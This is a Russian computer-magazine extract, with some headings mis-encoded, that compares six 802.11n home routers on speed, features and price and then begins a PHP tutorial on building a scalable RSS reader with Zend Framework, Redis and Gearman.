ни другими энергетическими предприятиями, 
так что угрозы монополии Google создать явно 
не может.   
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МЕТОДИКА 
ТЕСТИРОВАНИЯ
Тестирование состояло из трех основных этапов.
1) Мы подключали к роутеру пару компьютеров, причем один через порт 
LAN, а второй — через WAN. Между ними начинался обмен данных, 
скорость которого мы и замеряли (скорость NAT). Передача осуществля-
лась как в режиме полного дуплекса (в обе стороны одновременно), так и 
только в одну сторону. В настройках роутера устанавливался статистичес-
кий IP-адрес.
2) Вторым этапом было создание PPTP-сервера в WAN-сегменте. Это объяс-
няется тем, что соединение такого типа нагружает роутер сильнее всего. Так 
же, как и в первом случае, мы начинали гонять трафик и замеряли скорость 
передачи данных.
3) Третьим этапом было измерение скорости передачи данных по беспро-
водной сети. Для этого компьютер подключался к свитчу роутера, а ноутбук 
через Wi-Fi. Причем расстояний было два — 1 и 6 метров (на пути следова-
ния сигнала находились стены). Адаптеры Wi-Fi были от того же производи-
теля, что и роутеры. Трафик защищался шифрованием WPA2-PSK с ключом 
AES. 

 016  

«ÄÎËÎÉ ÏÐÎÂÎÄÀ!», — ÈÌÅÍÍÎ ÏÎÄ ÒÀÊÈÌ ËÎÇÓÍÃÎÌ Ê ÍÀÌ ÏÐÈØÅË ÑÒÀÍÄÀÐÒ 
ÁÅÑÏÐÎÂÎÄÍÎÉ ÑÂßÇÈ WI-FI. ÑÅÃÎÄÍß Â ÝÒÎÌ ÍÀÏÐÀÂËÅÍÈÈ ÑÄÅËÀÍ ÅÙÅ ÎÄÈÍ, 
ØÈÐÎÊÈÉ ØÀÃ. ÍÀ ÐÛÍÊÅ ÏÎßÂÈËÎÑÜ ÍÅÌÀËÎ ÓÑÒÐÎÉÑÒÂ, ÑÎÂÌÅÑÒÈÌÛÕ Ñ ÍÎÂÛÌ 
ÑÒÀÍÄÀÐÒÎÌ IEEE 802.11N, ÊÎÒÎÐÛÉ ÎÁÅÑÏÅ×ÈÂÀÅÒ (Â ÒÅÎÐÈÈ) ÑÊÎÐÎÑÒÜ ÏÅÐÅÄÀ×È 
ÄÀÍÍÛÕ ÄÎ 600 ÌÁÈÒ/Ñ! Ó ÝÒÈÕ ÓÑÒÐÎÉÑÒÂ ÅÑÒÜ È ÄÐÓÃÎÅ ÂÀÆÍÎÅ ÏÐÅÈÌÓÙÅÑÒÂÎ — 
ÂÎÇÌÎÆÍÎÑÒÜ ÐÀÁÎÒÛ Â ÄÈÀÏÀÇÎÍÀÕ 2.4 ÈËÈ 5 ÃÃÖ. Â ÎÁÙÅÌ, ÏÐÈÎÁÐÅÒÀÒÜ ÍÎÂÛÉ 
ÐÎÓÒÅÐ ÐÀÍÎ ÈËÈ ÏÎÇÄÍÎ ÏÐÈÄÅÒÑß. ÅÑËÈ ÒÛ ÐÅØÈË ÑÄÅËÀÒÜ ÒÀÊ ÏÐßÌÎ ÑÅÉ×ÀÑ, 
ÒÎ ÍÀØ ÒÅÑÒ ÒÅÁÅ ÏÎÌÎÆÅÒ.

ASUS RT-N16
D-LINK DIR-655
D-LINK DIR-855
NETGEAR WNR-2000
NETGEAR WNDR-3700
TRENDNET TEW-652BRP

ÒÅÑÒÈÐÓÅÌÎÅ ÎÁÎÐÓÄÎÂÀÍÈÅ:

ÒÅÑÒÈÐÎÂÀÍÈÅ 
ÁÅÑÏÐÎÂÎÄÍÛÕ 

ÐÎÓÒÅÐÎÂ 
ÑÒÀÍÄÀÐÒÀ 802.11N

D-Link
DIR-655 

ÏÐÎÏÓÑÊÍÀß ÑÏÎÑÎÁÍÎÑÒÜ PPTP, ÌÁÈÒ/C

TRENDnet TEW-652BRP

NETGEAR WNR-2000

D-Link  DIR-855

D-Link  DIR-655

Asus RT-N16

УСТРОЙСТВА D-LINK ПОКАЗАЛИ СЕБЯ ВЕСЬМА НЕПЛОХО И В 
СЛОЖНОМ ТЕСТЕ ПРОИЗВОДИТЕЛЬНОСТИ PPTP-СОЕДИНЕНИЯ

NETGEAR WNDR-3700

lan wan FDX wan-lan

24.12

99.3

31.04

113.2

118.38
72.45

81.51
78.8

110.42
161.68

176.02

51.72
50.34

55.01

129.73
152.69

34.54

67.98
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Роутер ASUS RT-N16 обладает обширным набором функций. Например, 
к двум имеющимся USB-портам можно подключить жесткий диск или 
принтер, сделав их доступными для использования через сеть. При этом 
роутер может сам скачивать заданные файлы на жесткий диск (через 
HTTP, FTP и BitTorrent) даже при выключенном ПК. Устройство постро-
ено на мощных компонентах — его основа это чип Broadcom BCM4718, 
работающий с частотой 533 МГц, и 128 Мб памяти DDR2. Роутер снабжен 
очень продуманным интерфейсом, с которым разберется даже начина-
ющий; реализована функция WPS (автоматическая настройка беспро-
водной сети) и EzQoS (приоритезация трафика). Также есть несколько 
экзотическая функция переброса трафика с порта WAN на приставку 
IPTV на канальном уровне без участия CPU-роутера. Для работы с оте-
чественными провайдерами есть все необходимое.

Несмотря на гигабитные порты, скорость NAT не поднялась выше 145 
Мбит/с. Скорость работы с PPTP также была не самая выдающаяся.

Многофункциональный роутер с интересными возможностями, одна из 
которых заключается в возможности подключения адаптера 3G, чтобы 
иметь доступ к соответствующим сетям. Кроме того, имеются функция 
настройки приоритезации трафика, поддержка IGMP Multicast, QoS, 
множество фильтров для организации доступа, а также очень простая и 
быстрая автоматизированная настройка беспроводного соединения с 
помощью WPS. Помимо развитого функционала, устройство порадовало 
высокой производительностью во всех тестах, включая испытания на 
скорость передачи данных по беспроводной сети. Специально для реа-
лий российских провайдеров в настройках соединения предусмотрены 
нужные варианты PPTP, PPPoE и L2TP. Да и, в общем, интерфейс неплох.

Серьезных недостатков обнаружить не удалось, разве что крайне 
неудобно реализована работа с подключенными USB-устройствами, 
которая требует дополнительного программного обеспечения.
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ИНТЕРФЕЙСЫ: 1XWAN (RJ-45) 10/100/1000 МБИТ/СЕК, 4XLAN (RJ-45) 
10/100/1000 МБИТ/СЕК
БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: IEEE 802.11 B/G + IEEE 
802.11N (ДО 300 МБИТ/СЕК)
ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: 2,4~2,5
БЕЗОПАСНОСТЬ: WEP (ДО 128 БИТ), WPA/WPA-PSK, WPA2/WPA2-PSK 
(TKIP, AES)
ФУНКЦИИ РОУТЕРА: NAT/NAPT, DYNDNS, STATIC ROUTING, DHCP, 
EZQOS
ФУНКЦИИ ФАЙРВОЛА: SPI, PACKET FILTER, URL FILTER, MAC FILTER
ПОДДЕРЖКА СОЕДИНЕНИЙ: PPPOE, PPTP, L2TP, СТАТИЧЕСКИЙ И 
ДИНАМИЧЕСКИЙ IP-АДРЕС
ДОПОЛНИТЕЛЬНО: EZSETUP, WPS, МЕДИА-СЕРВЕР UPNP, WAN 
BRIDGING, AIDISK, 2 ПОРТА USB 2.0 ДЛЯ ПОДКЛЮЧЕНИЯ ВНЕШНИХ 
УСТРОЙСТВ

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ИНТЕРФЕЙСЫ: 1XWAN (RJ-45) 10/100/1000 МБИТ/СЕК, 4XLAN (RJ-45) 
10/100/1000 МБИТ/СЕК
БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: IEEE 802.11 B/G + IEEE 
802.11N (ДО 300 МБИТ/СЕК)
ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: 2.4~2.5
БЕЗОПАСНОСТЬ: WEP (ДО 128 БИТ), WPA/WPA-PSK, WPA2/WPA2-PSK 
(TKIP/AES), WPS
ФУНКЦИИ РОУТЕРА: NAT/NAPT, DYNDNS, DHCP, STATIC ROUTING, 
IGMP MULTICAST , QOS 
ФУНКЦИИ ФАЙРВОЛА: SPI, URL FILTER, MAC FILTER, IP FILTER, 
ACCESS CONTROL
ПОДДЕРЖКА СОЕДИНЕНИЙ: PPPOE, PPTP, L2TP, СТАТИЧЕСКИЙ И 
ДИНАМИЧЕСКИЙ IP-АДРЕС
ДОПОЛНИТЕЛЬНО: WPS, USB-ПОРТ

D-LINK
DIR-655 

4700 ðóá.

ASUS
RT-N16

5200 ðóá.
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ИНТЕРФЕЙСЫ: ИНТЕРФЕЙСЫ: 1XWAN (RJ-45) 10/100 МБИТ/СЕК, 4XLAN (RJ-45) 10/100 
МБИТ/СЕК
БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: IEEE 802.11 B/G + IEEE 
802.11N (ДО 300 МБИТ/СЕК)
ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: 2,4~2,5
БЕЗОПАСНОСТЬ: БЕЗОПАСНОСТЬ: WEP (ДО 128 БИТ), WPA/WPA-PSK, WPA2/WPA2-PSK 
(TKIP, AES)
ФУНКЦИИ РОУТЕРА: ФУНКЦИИ РОУТЕРА: NAT, DYNDNS, STATIC ROUTING, DHCP, UPNP, 
QOS
ФУНКЦИИ ФАЙРВОЛА: ФУНКЦИИ ФАЙРВОЛА: SPI, URL FILTER, MAC FILTER, KEYWORD 
BLOCKING
ПОДДЕРЖКА СОЕДИНЕНИЙ: ПОДДЕРЖКА СОЕДИНЕНИЙ: PPPOE, PPTP, СТАТИЧЕСКИЙ И ДИНА-
МИЧЕСКИЙ IP-АДРЕС, BIGPOND
ДОПОЛНИТЕЛЬНО: ДОПОЛНИТЕЛЬНО: WPS, СЧЕТЧИК ТРАФИКА

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ИНТЕРФЕЙСЫ: 1XWAN (RJ-45) 10/100/1000 МБИТ/СЕК, 4XLAN (RJ-45) 
10/100/1000 МБИТ/СЕК
БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: IEEE 802.11 B/G + IEEE 
802.11N (ДО 300 МБИТ/СЕК)
ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: 2,4~2,5, 5
БЕЗОПАСНОСТЬ: WEP (ДО 128 БИТ), WPA/WPA-PSK, WPA2/WPA2-PSK 
(TKIP, AES)
ФУНКЦИИ РОУТЕРА: NAT, DYNDNS, STATIC ROUTING, DHCP, QOS
ФУНКЦИИ ФАЙРВОЛА: SPI, URL FILTER, MAC FILTER, IP FILTER, DMZ
ПОДДЕРЖКА СОЕДИНЕНИЙ: PPPOE, PPTP, L2TP, СТАТИЧЕСКИЙ И 
ДИНАМИЧЕСКИЙ IP-АДРЕС
ДОПОЛНИТЕЛЬНО: WPS, USB-ПОРТ, ЖК-ДИСПЛЕЙ

NETGEAR
WNR-2000D-LINK 

DIR-855

При взгляде на этот роутер бросается в глаза ЖК-экран — его присутствие 
очень помогает, потому что на нем отражается масса нужной и полезной 
информации. В тестах на производительность мы использовали частоту 5 
ГГц, на которой способно работать это устройство, и оно продемонстриро-
вало лучшую скорость передачи данных, доказав преимущество частоты 
5 ГГц перед более загруженной 2.4 ГГц. Но роутер умеет строить беспро-
водные сети на обеих частотах сразу. Кроме того, производительность 
LAN-WAN была на высоте, чему, возможно, поспособствовали и гигабит-
ные порты Ethernet. У роутера есть порт USB, к которому можно подключать 
различные устройства, такие как внешние HDD и принтеры, но, как и у 
D-Link DIR-655, работа с ними реализована через специальное ПО.

Основной недостаток устройства — его цена, которая слишком 
велика для домашнего роутера, даже обладающего такими возмож-
ностями.

В роутере решена проблема с обеспечением одновременной работы 
двух соединений на порте WAN, то есть роутер может одновременно 
маршрутизировать трафик и в интернет, и во внутреннюю сеть провай-
дера. Такая возможность необходима для работы в российских сетях, 
поэтому ее наличие очень важно. Интересен встроенный счетчик 
трафика, который, в том числе, может разорвать соединение в случае 
превышения заданного объема. Из других особенностей стоит отметить 
возможность блокировки определенных сайтов и служб, приоритезацию 
трафика и ограничение скорости. Несмотря на невысокую цену, в тестах 
на производительность NETGEAR WNR-2000 показал весьма достойные 
результаты. 

Недостатками можно считать невысокую скорость передачи данных по 
беспроводной сети, не очень приятный веб-интерфейс, а также то, что 
поддержка соединений L2TP отсутствует.

8200 ðóá.
2200 ðóá.

ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ WI-FI, 1 ÌÅÒÐ, ÌÁÈÒ/C

TRENDnet TEW-652BRP

NETGEAR WNR-2000

D-Link  DIR-855

D-Link  DIR-655

Asus RT-N16

БЕЗОГОВОРОЧНЫМ ЛИДЕРОМ ЯВЛЯЕТСЯ РОУТЕР D-LINK DIR-855 
И, В ОСНОВНОМ, БЛАГОДАРЯ ПОДДЕРЖКЕ 5ГГЦ ДИАПАЗОНА

NETGEAR WNDR-3700

Upstream both downstream

40.89

72.33

50.26

68.32

85.92

46.18
65.78

29.15

48.02
77.23

27.6

63.08
63.48

36.61

91.37
100.8

32.76

59.64
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ИНТЕРФЕЙСЫ: 1XWAN (RJ-45) 10/100 МБИТ/СЕК, 4XLAN (RJ-45) 10/100 
МБИТ/СЕК
БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: IEEE 802.11 B/G + IEEE 
802.11N (ДО 300 МБИТ/СЕК)
ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: 2,4~2,5
БЕЗОПАСНОСТЬ: WEP (ДО 128 БИТ), WPA/WPA-PSK, WPA2/WPA2-PSK 
(TKIP, AES)
ФУНКЦИИ РОУТЕРА: NAT, DYNDNS, STATIC ROUTING, DHCP
ФУНКЦИИ ФАЙРВОЛА: SPI, URL FILTER, MAC FILTER, IP FILTER
ПОДДЕРЖКА СОЕДИНЕНИЙ: PPPOE, PPTP, L2TP, СТАТИЧЕСКИЙ И 
ДИНАМИЧЕСКИЙ IP-АДРЕС, BIGPOND
ДОПОЛНИТЕЛЬНО: WPS

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ИНТЕРФЕЙСЫ: 1XWAN (RJ-45) 10/100/1000 МБИТ/СЕК, 4XLAN (RJ-45) 
10/100/1000 МБИТ/СЕК
БЕСПРОВОДНАЯ ТОЧКА ДОСТУПА WI-FI: IEEE 802.11 B/G + IEEE 
802.11N (ДО 300 МБИТ/СЕК)
ЧАСТОТНЫЙ ДИАПАЗОН, ГГЦ: 2,4~2,5, 5
БЕЗОПАСНОСТЬ: WEP (ДО 128 БИТ), WPA/WPA-PSK, WPA2/WPA2-PSK 
(TKIP, AES)
ФУНКЦИИ РОУТЕРА: NAT, DYNDNS, STATIC ROUTING, DHCP, UPNP, QOS
ФУНКЦИИ ФАЙРВОЛА: SPI, URL FILTER, MAC FILTER, KEYWORD 
BLOCKING
ПОДДЕРЖКА СОЕДИНЕНИЙ: PPPOE, PPTP, СТАТИЧЕСКИЙ И ДИНА-
МИЧЕСКИЙ IP-АДРЕС, BIGPOND
ДОПОЛНИТЕЛЬНО: WPS, СЧЕТЧИК ТРАФИКА

NETGEAR 
WNR-3700 TRENDNET

TEW-652BRP

ÂÛÂÎÄÛ
Среди новейших роутеров есть устройства, 
разные по уровню возможностей и стоимос-
ти, поэтому сделать выбор непросто. Кто-то 

силен в функционале, кто-то в скорости, а 
кто-то делает все очень хорошо, но дорого 
стоит. В итоге, награда «Выбор редакции» 
присуждается D-Link DIR-655, который 

быстр, функционален и при этом не очень 
дорог. А награда «Лучшая покупка» достается 
устройству TRENDnet TEW-652BRP, очень 
хорошо сбалансированному.z

2000 ðóá.

Похожий на NETGEAR WNR-2000 (выбор скорости работы по Wi-Fi), 
роутер имеет и много отличий. Например, порт USB для подключения 
различных внешних устройств, поддержку протокола DLNA, а также воз-
можность поддерживать две беспроводные сети на разных частотах (2.4 
и 5 ГГц). Что хорошо, доступ к подключенным к роутеру жестким дискам 
может быть получен про SMB, а у каждой из сетей Wi-Fi, работающих на 
своем диапазоне, могут быть свои собственные настройки параметров 
безопасности. Несмотря ни на что, скорость передачи данных по беспро-
водной сети не очень высока, но производительность NAT и пропускная 
способность PPTP-соединения выше всяческих похвал!

Недостатки у двух моделей NETGEAR практически одинаковые: невоз-
можность работы по протоколу L2TP, а также малоприятный web-интер-
фейс.

Еще один роутер, создатели которого демонстрируют заботу об отечест-
венных пользователях — в настройках можно обнаружить такие типы 
соединений, как Russia PPTP и Russia PPPoE. От обычных они отличают-
ся тем, что позволяют работать одновременно с интернетом и локалкой 
твоего провайдера. Радует, что при самой невысокой цене в обзоре 
устройство показало неплохие результаты во всех наших тестах. Да, еще 
оно самое малогабаритное — мал золотник, да дорог, как говорится. 
Из функциональных особенностей стоит отметить: можно задать адрес 
сервера VPN по имени, а не IP-адресу, ограничения доступа по IP, MAC 
и URL, а также функцию простой настройки беспроводной сети Wi-Fi 
Protected Setup.

Отсутствует такая функция, как приоретизация трафика. Нет и многих 
других возможностей, присутствующих у других моделей.

5200 ðóá.

ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ WI-FI, 6 ÌÅÒÐÎÂ, ÌÁÈÒ/C

TRENDnet TEW-652BRP

NETGEAR WNR-2000

D-Link  DIR-855

D-Link  DIR-655

Asus RT-N16

ПРИ УВЕЛИЧЕНИИ РАССТОЯНИЯ СКОРОСТЬ ЗАМЕТНО ПРОСЕДАЕТ, 
ОДНАКО ЛИДЕРЫ ТЕ ЖЕ

NETGEAR WNDR-3700

Upstream both downstream

23.72

65.26

32.76

43.9

72.19

38
51.42

23.32

29.66
57.72

17.2

51.08
55.4

34.54

91.92
94.33

31.53

33.84
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Â
озьмем для примера Google Reader. 
Если не сильно заморачиваться, то 
аналог этой онлайн-читалки собрать 
можно очень быстро, используя 
голый PHP и MySQL. Но добавь туда 

пару тысяч RSS-фидов и несколько десятков 
пользователей — твое приложение взвоет от 
непосильной нагрузки. Зато, если изначально 
подумать, в нужных местах реализовать кэши-
рование и вместо реляционной базы данных 
использовать Key-Value-хранилища, а саму 
работу сервиса распараллелить на несколько 
серверов, то можно создать настоящий сервис, 
который выдержит серьезную нагрузку. При 
этом сделать все можно даже на PHP!

×ÒÎ ÌÛ ÁÓÄÅÌ ÑÒÐÎÈÒÜ?
 Хочу внести ясность, что именно мы будем 
делать. Самый простой способ уследить 
за жизнью сайта — это получать новости и 
обновления через RSS-ленты — в специаль-
ном формате, построенном на XML. Сегодня 
у тебя большой выбор: RSS можно читать 
везде — в почтовом клиенте (например, 

Mozilla Thunderbird), браузере, специальной 
программе-агрегаторе или же онлайн. Один 
из самых продвинутых онлайн-агрегаторов, 
конечно, Google Reader. Пользоваться им 
вроде бы легко: раз оформив подписку на 
нужные ленты, можно заходить на reader.
google.com и в удобном виде читать новости. 
Впрочем, даже у этого сервиса есть недо-
статки. Мне, к примеру, не сильно нравится 
интерфейс. А многих не устраивают серьезные 
задержки в получении новых сообщений (как и 
любой сервис, Google Reader скачивает обнов-
ленные ленты с некоторой периодичностью). 
Особенно это касается Twitter-а, который выда-
ет ленту всех твоих сообщений. Попробуем 
собрать свою читалку, лишенную последнего 
недостатка, и которой сможешь пользовать и 
ты, и твои друзья. Напомню, что, когда у тебя 
две-три ленты, с ними справится даже твой 
нетбук, но когда люди поймут, что и Google 
можно заставить курить в сторонке, и начнут 
добавлять свои ленты, станет плохо. А мы сде-
лаем так, что сервис будет работать с любым 
количеством лент: добравшись до ограниче-

ния, нужно просто добавить еще один сервис. 
Задача нешуточная — предстоит высший 
пилотаж PHP-программирования, а именно 
создание распределенных систем. Помнишь, 
мы рассказывали про облачный компьютинг, 
Amazon EC2 и прочие заморские технологии? 
Вот с их помощью это сделать очень легко — 
нажал кнопочку и у тебя уже два сервера вме-
сто одного. Используя РНР и немного магии, 
ты сможешь заставить работать на наше благо 
столько серверов, сколько достанешь.
Строить распределенную систему мы будем 
на базе стандартного LAMP-набора, а в 
качестве основной библиотеки используем 
Zend Framework и jQuery, а также MySQL 
для базы данных. Для эффективной рабо-
ты на нескольких серверах понадобится 
механизм Gearman. Предупреждаю, что 
буду рассказывать только о самых важных 
моментах построения распределенной 
системы и не дам сразу скопипастить гото-
вый код :). Но ты можешь скачать исходни-
ки с диска журнала и посмотреть их само-
стоятельно.

XÀÊÅÐ  03  /134/  10

ÌÀËÎ ÊÒÎ ÏÐÅÄÑÒÀÂËßÅÒ, ÊÀÊ ÓÑÒÐÎÅÍÛ ÏÎÏÓËßÐÍÛÅ ÎÍËÀÉÍ-ÏÐÎÅÊÒÛ ÈÇÍÓÒÐÈ. 

ÊÀÆÅÒÑß, ÏÎÑÒÀÂÈÂ ÑÎÒÍÞ ÑÅÐÂÅÐÎÂ, ÌÎÆÍÎ ÇÀÑÒÀÂÈÒÜ ËÞÁÎÉ ÑÅÐÂÈÑ ËÅÒÀÒÜ, ÍÎ ÝÒÎ 

ÍÅ ÒÀÊ. ÂÀÆÍÎ ÝÔÔÅÊÒÈÂÍÎ ÑÏÐÎÅÊÒÈÐÎÂÀÒÜ ÐÀÁÎÒÓ ÏÐÈËÎÆÅÍÈß È ÂÛÁÐÀÒÜ ÏÐÀ-

ÂÈËÜÍÛÅ ÒÅÕÍÎËÎÃÈÈ. ÏÎÄÎÁÐÀÂ ÓÄÀ×ÍÎÅ ÑÎ×ÅÒÀÍÈÅ, ÂÛÑÎÊÎÍÀÃÐÓÆÅÍÍÛÉ ÑÅÐÂÈÑ 

ÌÎÆÍÎ ÏÎÑÒÐÎÈÒÜ ÄÀÆÅ ÍÀ ÑÀÌÎÌ ÑÊÐÎÌÍÎÌ ÎÁÎÐÓÄÎÂÀÍÈÈ!

ß ÓÁÜÞ ÒÅÁß, 
GOOGLE READER! 
ÂÛÑÎÊÎÍÀÃÐÓÆÅÍÍÛÉ 
ÑÅÐÂÈÑ 
ÑÂÎÈÌÈ ÐÓÊÀÌÈ
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Â ÐÀÇÂÅÄÊÓ ÇÀ ËÅÍÒÀÌÈ
Первым делом тебе надо иметь возможность 
добавлять фиды, которые хочешь читать. Это 
реально сложно, так как ты же хочешь, чтобы 
пользоваться читалкой мог любой, а значит, 
требовать прямого URL или, упаси бог, зада-
ния формата, которых у RSS несколько, никак 
нельзя. Да и сам URL может быть задан кучей 
вариантов. Так что попробуем написать уни-
версальную «получалку» из любого адреса!
Что же можно вводить? Самый простой 
способ — просто указать адрес сайта, ленту 
которого мы будем читать. Адрес может быть 
как полным, с указанием http:// в начале, так 
и ограничиваться доменным именем. Поэтому 
первым делом проверь, указан ли протокол, так 
как наш фреймворк не умеет работать с непол-
ными адресами. Здесь уже придется написать 
немного кода. 
Первым из компонентов Zend Framework, кото-
рый нам понадобится, будет Zend_Uri, он про-
верит введенный адрес. Если все нормально, 
мы пойдем дальше; если не получится — 
может, кто-то пытается надурить систему? 
Сам код функции, реализующий проверки, ты 
найдешь в исходниках (файл validURI.php), 
а я лишь кратко опишу, как он работает. Мы 
предполагаем, что введенная строка явля-

ется нормальным адресом (ага, доверяем 
пользователю), поэтому используем метод 
Zend_Uri::factory для создания объекта адреса. 
Если что-то пойдет не так, возникнет исключе-
ние. Далее необходимо реализовать несколько 
проверок: например, не забыл ли пользователь 
указать «http://» в начале адреса — без нее 
URL считается некорректными. Обернув подоб-
ные проверки в исключения, мы спускаемся 
по цепочке проверок и, в конце концов, либо 
получаем корректный URL, либо говорим поль-
зователю, что введенная им строка на URL не 
тянет.
Хорошо, предположим у нас есть корректный 
адрес сайта. Это или прямая ссылка на ленту, 
или ссылка на веб-страницу, где лента может 
быть. В нашем случае это неважно, потому как 
любую из ситуаций одинаково хорошо обраба-
тывают заботливо созданные для нас инстру-
менты. Будем использовать недавно появив-
шийся в Zend'е компонент Zend_Feed_Reader, 
который отлично справляется с любыми типа-
ми лент (с любым форматированием и даже 
экзотическими лентами с встроенными XSLT-
стилями  — этим балуются некоторые западные 
сайты вроде CNBC). В нем есть встроенный 
метод поиска линков на страницах, и если 
RSS-лента на этом сайте имеется, он ее най-

дет! Еще одна особенность Zend_Feed_Reader 
— встроенное кэширование — нам очень 
пригодится, чтобы постоянно не перекачи-
вать кучу данных просто так. Если лент много, 
хостеру это точно не понравится. Поэтому мы 
будем использовать файловый кэш. К тому 
же, если будет много пользователей, часть из 
них станут читать одни и те же ленты — зачем 
же загружать их несколько раз? Не следует 
пренебрегать и встроенными в HTTP возмож-
ностями кэширования. Если сервер сообщает 
нашему приложению, что лента не изменилась 
(при помощи служебных HTTP-заголовков), то 
можно смело доставать кэшированную версию. 
Программисты Zend’а и здесь сделали за тебя 
всю работу! Чтобы все это включить и дать 
передохнуть серверу, достаточно поместить 
несколько строчек до первого использования 
компонента Zend_Feed_Reader:

$cache = Zend_

Cache::factory('Core', 'File', 

array('lifetime' => 24 * 3600, 

'automatic_serialization' => true, 

'cache_id_prefix' => 'xakep_'                                                   

), array('read_control_type' => 

'adler32','cache_dir' => ‘/tmp/

xakep/cache’));

БЛОК-СХЕМА ВНУТРЕННЕГО УСТРОЙСТВА GEARMAN И ВЗАИМОДЕЙСТВИЯ С ДРУГИМИ ЯЗЫКАМИ И ПРИ-
ЛОЖЕНИЯМИ

YOUR CLIENT APPLICATION CODE

GEARMAN 
STACK

GEARMAN CLIENT API

(C, PHP, Perl, MySQL UDF, ...)

GEARMAN JOB SERVER

gearmand

GEARMAN WORKER API

(C, PHP, Perl, ...)

YOUR WORKER APPLICATION CODE

YOUR

APPLICATION

PROVIDED 

BY GEARMAN



PC_ZONE

//Ðàçðåøàåì èñïîëüçîâàòü êýø

Zend_Feed_Reader:: 

  setCache($cache);

//Ðàçðåøàåì ó÷èòûâàòü HTTP-

çàãîëîâêè äëÿ ïðîâåðêè êýøà

Zend_Feed_Reader::useHttpCondition

alGet(true); 

Так мы существенно снизим нагрузку на 
сервер, и даже самая простая конфигурация 
сможет обрабатывать десятки и сотни лент, 
а вот дальше уже придется использовать 
Memcached.
Добытые ссылки нужно куда-то сохранить. 
Для этого в MySql создаем две табли-
цы — feeds для хранения ссылок и user_
subscriptions для хранения подписок. Зачем 
две? Очень просто — ты сможешь хранить 
только одну ссылку; если на ленту подписаны 
двое пользователей, то оба будут использо-
вать один и тот же адрес. В таблицу feeds 
нелишним будет добавить поле, чтобы запи-
сывать количество ошибок доставки ленты. 
Код базы можно посмотреть в файле db.sql 
дистрибутива.

ÏÐÈÊÀÇÀÍÎ ÏÎËÓ×ÈÒÜ ÍÎÂÎÑÒÈ!
Теперь у нас есть некоторые вспомогательные 
инструменты, и можно приступать к построе-
нию самого сервиса. Рассмотрим общий 
принцип.
Периодически (например, по cron-у) запуска-
ется скрипт, который берет все твои ленты из 
базы и последовательно перебирает их, про-
веряя новые сообщения. Если сообщения есть, 
он добавляет их. При первом запуске все сооб-

щения в лентах будут новыми, поэтому нагруз-
ка на сервер будет значительной (если у тебя 
много лент); потом добавляться будут только 
свежие сообщения — обычно несколько в час 
(хотя есть ленты, которые обновляются каждую 
минуту и там каждый раз несколько десятков 
сообщений). Важный вопрос: как ты поймешь, 
что сообщение из ленты новое? Ни один из 
атрибутов использовать для правильной про-
верки не получится. Поэтому реализуем соб-
ственные уникальные идентификаторы и будем 
пропускать каждую новость через сравнение 
со списком уже загруженных. Самый простой 
путь — просто использовать нашу MySQL базу 
данных, однако скажу, что это путь для лохов. 
Подумай сам, если у тебя будет хоть с десяток-
другой лент, очень скоро, буквально в течение 
пары недель, таблица с сообщениями разрас-
тется до огромного размера. Если мы будем 
постоянно проверять все новости, при каждом 
запуске нашего скрипта база обязательно 
будет ложиться. 
Помнишь, мы недавно рассказывали о преемни-
ках SQL-а в веб-приложениях — key/value храни-
лищах (#128 номер z, PDF-версия статьи — 
на диске). Предлагаю дополнить нашу раз-
работку кэшем, который будет использовать 
самую быструю NoSQL-систему — Redis. В него 
мы поместим все идентификаторы сообщений, 
которые уже загружены в базу данных — и 
только если встретим новость, которой там нет, 
запишем ее как новую.
Для работы с Redis-ом есть отличный класс — 
Rediska. Он же, кстати, добавляет в Zend 
Framework множество классов-адаптеров, 
например, можно переключить на него стан-
дартный кэш. Подключить редиску просто:

$redis_conf = 

Array( 'namespace'=>'xakep_', 

'servers'=> array(array(

'host'=>'localhost',

'port' => 6379, 'weight'   => 1)), 

'keyDistributor' => 'crc32');));

try

{

 $redis = new Rediska($redis_

conf);

}

catch (Rediska_Exception $e)

{

 die("[ERROR] Error creating Redis 

instance: " . $e->getMessage());

}

Подробнее о Redis-е мы уже писали. Расскажу 
только про особенности нашего проекта. Для 
кэша мы будем использовать структуру дан-
ных SET, так как она позволяет всего одной 
командой узнать, содержится в ней указанное 
значение или нет. Соответственно, у нас будет 
столько сетов, сколько уникальных лент, а в 
каждом сете будет содержаться набор MD5-
хешей сообщений, которые уже загружены. 
Сначала напишем простую функцию, которая 
будет принимать один или несколько адресов 
лент и последовательно проверять их на нали-
чие новых сообщений. Позже на базе этого 
кода мы за пять минут построим гибкую рас-
пределенную систему! 
Функция processFeed (смотри файл 
processFeed.php) принимает массив, в котором 
должен быть, как минимум, один элемент — 
прямая ссылка на ленту. Дальше класс автома-
тически загрузит ленту, если это необходимо, 
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ПРОСТОЙ СПОСОБ ПОЛУЧЕНИЯ НОВОСТЕЙ ИЗ ЛЕНТ

×ÒÎ ÏÎÍÀÄÎÁÈÒÑß 
ÄËß ÏÎÄÍßÒÈß 
ÏÐÎÅÊÒÀ?

- PHP 5.2.11 или еще лучше, 5.3.1.
- Веб-сервер, Apache 2.2 или Nginx.
- База данных, MySQL любой вер-
сии, но лучше всего 5.1.
- Сервер Gearmand и модуль к РНР.
